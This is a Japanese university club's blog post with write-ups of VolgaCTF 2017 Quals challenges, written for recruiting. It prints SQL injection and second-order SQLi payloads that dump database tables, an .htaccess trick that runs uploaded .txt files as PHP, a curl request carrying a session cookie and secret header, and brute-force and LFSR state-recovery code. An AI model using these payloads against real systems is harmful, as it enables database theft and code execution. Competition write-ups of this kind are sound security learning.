traP Member's Blog

VolgaCTF 2017 Quals に出た話【新歓ブログリレー2017 11日目】

kaz
このエントリーをはてなブックマークに追加

こんにちは。チームNaruseJunの中の人です。

今日は、CTFに出た話をしたいと思います。
新歓ブログリレー中なので新入生向けに書いておくと、CTFは基本的にチーム戦で、オンラインで行われることが多いです。
予選(Quals)でいい成績を残すと、オンサイト(実際に集まって競技)に招待されます。

そもそもCTFってなんだよって人は、新歓Webを見てください。
https://trapti.tech/welcome/

traPにはNaruseJunとかいうCTFチームがあって、中の人は全部で10数人いるんですが、毎回4〜5人で大会に出てます。
最近はサイバーコロッセオというイベントに顔を出しました。
https://trapti.tech/blog/5988/

VolgaCTF 2017 Quals

この前、?に出ました。
結果は12位(1115チーム中)で、日本国内から出場したチームではトップでした。

https://ctftime.org/event/374
https://aspyatkin.com/volgactf-2017-quals-key-metrics/

めでたく本戦(Finals)に招待して頂きました。ということで夏にロシア行ってきます。
https://volgactf.ru/

Writeup

VC (crypto 50pt) [phi]

2枚の画像があるので差の絶対値を取るとフラグが見える

KeyPass (reverse 100pt) [ponya, kaz]

入力文字列からセキュア(らしい)なキーを生成するプログラムと、
そこから生成されたキーで暗号化されたファイルが渡される。

ですが、キー生成プログラムに不備があるので有限個(256個)しかキーが生成されません。
ということで全部試せば終わる。

<?php
	function getraw(){
		$ar = [];
		for($i = 0; $i < 0xFF; $i++){
			$ar[] = mt_rand(0x01, 0xFF);
		}
		return implode("", array_map(function($e){
			return "\\$e";
		}, $ar));
	}
	
	while(1){
		$raw = getraw();
		$key = trim(`./keypass "$(printf "$raw")"`);
		
		$r = 0;
		system("openssl enc -aes-128-cbc -d -in flag.zip.enc -out flag.zip -pass pass:'$key'", $r);
		if($r == 0){
			echo("OK!! $r $key \n");
			break;
		}else{
			echo("Fail $r $key \n");
		}
	}
?>

Telemap (web/exploits 200pt) [kaz]

TelegramのBotに攻撃する。
IPアドレスを投げるとnmapをかけてくれるんですが、ここでOSコマンドインジェクションができる。

API制限でBOTが死んだためフラグが無料で配られました。

Angry Guessing Game (reverse 200pt) [kaz, kriw]

数当てゲーム。途中で「試用版なのでライセンスキー入れてね!」みたいなこと言われて、これがたぶんFLAGです。

問題名からして、angrを使うのかな〜っと思ったんですが、radare2で探したら簡単に見つかりました。

.------------------------------------------------.
|  0x67da ;[ga]                                  |
|      ; JMP XREF from 0x000067d5 (fcn.000067d0) |
| mov rax, qword [rdi]                           |
|    ; [0x56:1]=0                                |
|    ; 'V'                                       |
| cmp byte [rax], 0x56                           |
| sete cl                                        |
|    ; [0x6f:1]=0                                |
|    ; 'o'                                       |
| cmp byte [rax + 1], 0x6f                       |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x6c:1]=0                                |
|    ; 'l'                                       |
| cmp byte [rax + 2], 0x6c                       |
| sete sil                                       |
|    ; [0x67:1]=0                                |
|    ; 'g'                                       |
| cmp byte [rax + 3], 0x67                       |
| sete cl                                        |
| and cl, sil                                    |
| and cl, dl                                     |
|    ; [0x61:1]=2                                |
|    ; 'a'                                       |
| cmp byte [rax + 4], 0x61                       |
| sete sil                                       |
|    ; [0x43:1]=0                                |
|    ; 'C'                                       |
| cmp byte [rax + 5], 0x43                       |
| sete dil                                       |
| and dil, sil                                   |
|    ; [0x54:1]=0                                |
|    ; 'T'                                       |
| cmp byte [rax + 6], 0x54                       |
| sete dl                                        |
| and dl, dil                                    |
| and dl, cl                                     |
|    ; [0x46:1]=0                                |
|    ; 'F'                                       |
| cmp byte [rax + 7], 0x46                       |
| sete sil                                       |
|    ; [0x7b:1]=0                                |
|    ; '{'                                       |
| cmp byte [rax + 8], 0x7b                       |
| sete cl                                        |
| and cl, sil                                    |
|    ; [0x65:1]=0                                |
|    ; 'e'                                       |
| cmp byte [rax + 9], 0x65                       |
| sete sil                                       |
| and sil, cl                                    |
|    ; [0x62:1]=0                                |
|    ; 'b'                                       |
| cmp byte [rax + 0xa], 0x62                     |
| sete dil                                       |
| and dil, sil                                   |
| and dil, dl                                    |
|    ; [0x36:1]=56                               |
|    ; '6'                                       |
| cmp byte [rax + 0xb], 0x36                     |
| sete sil                                       |
|    ; [0x37:1]=0                                |
|    ; '7'                                       |
| cmp byte [rax + 0xc], 0x37                     |
| sete dl                                        |
| and dl, sil                                    |
|    ; [0x35:1]=0                                |
|    ; '5'                                       |
| cmp byte [rax + 0xd], 0x35                     |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x65:1]=0                                |
|    ; 'e'                                       |
| cmp byte [rax + 0xe], 0x65                     |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x62:1]=0                                |
|    ; 'b'                                       |
| cmp byte [rax + 0xf], 0x62                     |
| sete r8b                                       |
| and r8b, dl                                    |
| and r8b, dil                                   |
|    ; [0x37:1]=0                                |
|    ; '7'                                       |
| cmp byte [rax + 0x10], 0x37                    |
| sete sil                                       |
|    ; [0x39:1]=0                                |
|    ; '9'                                       |
| cmp byte [rax + 0x11], 0x39                    |
| sete dl                                        |
| and dl, sil                                    |
|    ; [0x65:1]=0                                |
|    ; 'e'                                       |
| cmp byte [rax + 0x12], 0x65                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x62:1]=0                                |
|    ; 'b'                                       |
| cmp byte [rax + 0x13], 0x62                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x30:1]=0                                |
|    ; '0'                                       |
| cmp byte [rax + 0x14], 0x30                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x39:1]=0                                |
|    ; '9'                                       |
| cmp byte [rax + 0x15], 0x39                    |
| sete dil                                       |
| and dil, cl                                    |
| and dil, r8b                                   |
|    ; [0x35:1]=0                                |
|    ; '5'                                       |
| cmp byte [rax + 0x16], 0x35                    |
| sete sil                                       |
|    ; [0x61:1]=2                                |
|    ; 'a'                                       |
| cmp byte [rax + 0x17], 0x61                    |
| sete cl                                        |
| and cl, sil                                    |
|    ; [0x30:1]=0                                |
|    ; '0'                                       |
| cmp byte [rax + 0x18], 0x30                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x39:1]=0                                |
|    ; '9'                                       |
| cmp byte [rax + 0x19], 0x39                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x35:1]=0                                |
|    ; '5'                                       |
| cmp byte [rax + 0x1a], 0x35                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x63:1]=0                                |
|    ; 'c'                                       |
| cmp byte [rax + 0x1b], 0x63                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x31:1]=0                                |
|    ; '1'                                       |
| cmp byte [rax + 0x1c], 0x31                    |
| sete r8b                                       |
| and r8b, cl                                    |
| and r8b, dil                                   |
|    ; [0x65:1]=0                                |
|    ; 'e'                                       |
| cmp byte [rax + 0x1d], 0x65                    |
| sete sil                                       |
|    ; [0x36:1]=56                               |
|    ; '6'                                       |
| cmp byte [rax + 0x1e], 0x36                    |
| sete cl                                        |
| and cl, sil                                    |
|    ; [0x34:1]=64                               |
|    ; '4'                                       |
| cmp byte [rax + 0x1f], 0x34                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x37:1]=0                                |
|    ; '7'                                       |
| cmp byte [rax + 0x20], 0x37                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x30:1]=0                                |
|    ; '0'                                       |
| cmp byte [rax + 0x21], 0x30                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x39:1]=0                                |
|    ; '9'                                       |
| cmp byte [rax + 0x22], 0x39                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x34:1]=64                               |
|    ; '4'                                       |
| cmp byte [rax + 0x23], 0x34                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x30:1]=0                                |
|    ; '0'                                       |
| cmp byte [rax + 0x24], 0x30                    |
| sete cl                                        |
| and cl, dl                                     |
| and cl, r8b                                    |
|    ; [0x37:1]=0                                |
|    ; '7'                                       |
| cmp byte [rax + 0x25], 0x37                    |
| sete sil                                       |
|    ; [0x62:1]=0                                |
|    ; 'b'                                       |
| cmp byte [rax + 0x26], 0x62                    |
| sete dl                                        |
| and dl, sil                                    |
|    ; [0x63:1]=0                                |
|    ; 'c'                                       |
| cmp byte [rax + 0x27], 0x63                    |
| sete sil                                       |
| and sil, dl                                    |
|    ; [0x36:1]=56                               |
|    ; '6'                                       |
| cmp byte [rax + 0x28], 0x36                    |
| sete dl                                        |
| and dl, sil                                    |
| and dl, cl                                     |
|    ; [0x7d:1]=0                                |
|    ; '}'                                       |
| cmp byte [rax + 0x29], 0x7d                    |
| sete al                                        |
| test al, dl                                    |
| setne al                                       |
| ret                                            |
`------------------------------------------------'

Corp News (web 300pt) [kaz]

企業のニュースを配信するサイト?
登録できる。

登録後にフィードバックを送信するところがあるので、XSSができる。
ただし、セッションクッキーがhttpOnlyなので盗むことができない。

が、パスワード変更APIがあるので、それを叩かせて管理者アカウントを奪うことができる。
管理者アカウントでログインすると、Secret Headerという文字列が取得できる。

ここで、ニュース取得API /news

Please, set debug header true, becouse the app in developing state:)

とか言ってたのを思い出します。
このAPIはJSONを受け取っているのですが、ここにアプリが送っているJSONをちょっといじって
{"resultFormat": "aaa"}
を送ってみると、

`result_format` (texsdfsdft) is not recognized, (‘auto’, ‘json’, ‘jsonp’, ‘text’, and ‘binary’ are allowed).

ということで、バックエンドにRethinkDBがいることがわかります。
https://www.rethinkdb.com/api/javascript/http/ を参考にして、裏でHTTPリクエストを飛ばすときに Debug: true を送らせるとニュースが見れるようになります。

さらに、先ほど入手したSecret headerも一緒に送るとFLAGが落ちてきます。
(このSecret headerを送らせるの、ヒントがないしどうやって気がつくんでしょうか……)

curl -X POST -H "Cookie: PHPSESSID=s%3A9Wst52yXI2kUbIPa4YE1gLTSPIpGDiwV.hc8bfOnyjidLjDsdcY7kTNsFlj0margtFr%2BGmAgupxI" http://corp-news2.quals.2017.volgactf.ru/news -d '{"header":["debug: true", "secret: asdJHF7dsJF65$FKFJjfjd773ehd
5fjsdf7"]}'

Bloody Feedback (web 100pt) [kaz]

お問い合わせフォームみたいなもの。
Emailの入力欄にSQLiがありました。

ERROR: DBD::Pg::db do failed: ERROR: INSERT has more target columns than expressions
LINE 1: INSERT INTO messages (code,name,message,email,status) VALUES…

DBから引っ張ってきたデータを表示する部分があるので、カンタンです。

', (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 1 OFFSET 1))--
', (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 's3cret_tabl3'))--
', (SELECT s3cr3tc0lumn FROM s3cret_tabl3 WHERE s3cr3tc0lumn LIKE 'VolgaCTF{%}' LIMIT 1))--

Sneaky Tags (web 300pt) [kaz]

タグを発行できて、このタグをTwitterに投稿すると、その投稿が追跡できるみたいなサービス。

このタグに好きな名前をつけられるのですが、この名前はTwitterから投稿を取得してDBを更新する際にエスケープされずに使用されています。
いわゆるセカンドオーダーSQLインジェクションです。

' UNION SELECT 1,2,3,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' #
' UNION SELECT 1,2,3,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME IN("tag","tweet","user") # 
' UNION SELECT 1,2,3,GROUP_CONCAT(tag) FROM tag WHERE account_id <= 10 #

↑みたいな名前のタグを作成して、DB更新を起こさせると、account_idが小さいadminアカウントが作成したタグ名にFLAGがあります。

Share Point (web 200pt) [kaz]

ファイルアップロードと共有ができるサービス。
.phpのファイルはアップできない、が.htaccessがアップできるので、

AddType application/x-httpd-php .txt

とかすると.txtで任意のPHPがコードが実行できる。
あとはfind / -name *flag*とかして見つけたファイルを読みに行けば終わり。

PyCrypto (crypto/reverse 150pt) [nari]

入力とkey(120bit)をxorするだけなので真心込めて手動decryptします。

Curved (crypto 200pt) [nari]

楕円曲線でコマンド文字列に署名を与えて、その署名が無いとコマンドが実行できないようなサーバが相手。
楕円曲線とは関係なく、与えられたsignature2つをよく見るとrの値が一致しているので、そこから等式を導出すると、任意のコマンド文字列の署名を生成することができます。
よって"cat flag"の署名を作って送るとフラグが見えます。

Casino (crypto 250pt) [nari]

Nの値がサーバ接続時にランダムに決まるので、N=24を引くと仮定します。
するとあり得るpolyの数も少ないので全探索します。
20回データを取ることができるので、next_bitは120bit分取れますが、mod 42のせいで不確定になるけど50%ぐらいなので、あり得るstateも全探索します。
なので、これぐらいのことを処理するC++コードを書いて、後はN=24を引くまで「接続→Proof of Work→全探索」を繰り返します。N=24を引いた場合全探索で条件を満たしたpolyとstateが見つかるので、それを使って100勝します。
理論的には時間をかければこれで解けます。
以下は120回のnext_bitの結果を受け取って、可能なstate,polyペアを探すC++プログラムです。

#include <stdio.h>
#include <string>
#include <iostream>
#include <vector>
#include <algorithm>

#include <omp.h>

using namespace std;

typedef vector<int> vi;

typedef int _loop_int;
#define REP(i,n) for(_loop_int i=0;i<(_loop_int)(n);++i)
#define FOR(i,a,b) for(_loop_int i=(_loop_int)(a);i<(_loop_int)(b);++i)
#define FORR(i,a,b) for(_loop_int i=(_loop_int)(b)-1;i>=(_loop_int)(a);--i)

/*
def gen_poly(deg):
    poly = [0 for _ in range(deg + 1)]
    while True:
        n = random.randrange(deg // 8, deg // 2)
        n |= 1
        powers = random.sample(range(1, deg), n)
        powers.append(deg)
        if reduce(gcd, tuple(powers)) == 1:
            break
    for i in range(n):
        poly[powers[i]] = 1
    poly[0] = poly[deg] = 1
    # poly.pop_front()
    return poly
*/

vi poly_all(int n){
  vi ret;
  FOR(num,n/8,n/2){
    if((num&1)==0)continue;
    // num from 1 ~ n-1
    vi P(n-1,0);
    REP(i,num)P[n-2-i]=1;
    do{
      int gcd = n;
      REP(i,n-1)if(P[i]){
        gcd = __gcd(gcd,i+1);
      }
      if(gcd==1){
        // ok
        int poly = 0;
        poly |= 1;
        REP(i,n-1)poly |= P[i]<<(n-1-i);
        ret.push_back(poly);
      }
    }while(next_permutation(P.begin(),P.end()));
  }
  return ret;
}

vi state_all(int n,string s){
  vi ret[2];
  ret[0].push_back(0);
  REP(i,n){
    char c = s[i];
    if(c=='0' || c=='?'){
      REP(j,ret[0].size()){
        int x = ret[0][j];
        int y = x;
        ret[1].push_back(y);
      }
    }
    if(c=='1' || c=='?'){
      REP(j,ret[0].size()){
        int x = ret[0][j];
        int y = x | (1<<i);
        ret[1].push_back(y);
      }
    }
    ret[0].swap(ret[1]);
    ret[1].clear();
  }
  return ret[0];
}

int find_valid_state(int n,int poly, vi inits, string s){
  vi dp[2];
  dp[0] = inits;
  REP(i,s.size()){
    char c = s[i];
    if(c=='?'){
      REP(j,dp[0].size()){
        int st = dp[0][j];
        int head = __builtin_popcount(poly&st)&1;
        int nst = (st>>1) | (head<<(n-1));
        dp[1].push_back(nst);
      }
    }else if(c=='0'){
      REP(j,dp[0].size()){
        int st = dp[0][j];
        if(st%2==0){
          int head = __builtin_popcount(poly&st)&1;
          int nst = (st>>1) | (head<<(n-1));
          dp[1].push_back(nst);
        }
      }
    }else{
      REP(j,dp[0].size()){
        int st = dp[0][j];
        if(st%2==1){
          int head = __builtin_popcount(poly&st)&1;
          int nst = (st>>1) | (head<<(n-1));
          dp[1].push_back(nst);
        }
      }
    }
    if(dp[1].size()==0)return -1;
    dp[0].swap(dp[1]);
    dp[1].clear();
  }
  return dp[0][0];
}

int main(){
  string s;
  cin>>s;

  omp_lock_t llock;
  omp_init_lock(&llock);
  int ans_n = -1;
  int ans_poly = -1;
  int ans_state = -1;
  FOR(n,24,25){
    vi polys = poly_all(n);
    // s[i] = 0 : next_bit() in i times is 0
    // s[i] = 1 : next_bit() in i times is 1
    // s[i] = ? : next_bit() in i times is undetermined
    vi inits = state_all(n,s);
    // test all poly
    omp_set_num_threads(4);
    #pragma omp parallel for
    REP(j,16){
      REP(i,polys.size()/16){
        if(i*16+j >= polys.size())break;
        int poly = polys[i*16+j];
        int state = find_valid_state(n, poly, inits, s);
        if(state != -1){
          omp_set_lock(&llock);
          ans_n = n;
          ans_poly = poly;
          ans_state = state;
          omp_unset_lock(&llock);
          break;
        }
        omp_set_lock(&llock);
        if(ans_n != -1){
          omp_unset_lock(&llock);
          break;
        }else{
          omp_unset_lock(&llock);
        }
      }
    }
  }
  if(ans_n==-1){
    puts("NG...");
  }else{
    printf("%d\n%d\n%d\n",ans_n,ans_poly,ans_state);
  }
  return 0;
}

Oracle (crypto 250pt) [nari]

UPDでcipherが出てるのでそれとサーバオラクルを使ってpadding oracle attackします。
あとはIV(またはtimestamp)が分かれば完全にpadding oracle attackできるのですが、IV=0としてpadding oracle attackを続行すると複号に成功します。

おわり

いっしょにCTFしてくれる新入生大募集中です。
4/19(水)には「競プロ/CTF体験会」があるので来てね!
https://trapti.tech/welcome/

明日はpoppon_seadragonとuynetの記事です。お楽しみに。

このエントリーをはてなブックマークに追加

コメントを残す

メールアドレスが公開されることはありません。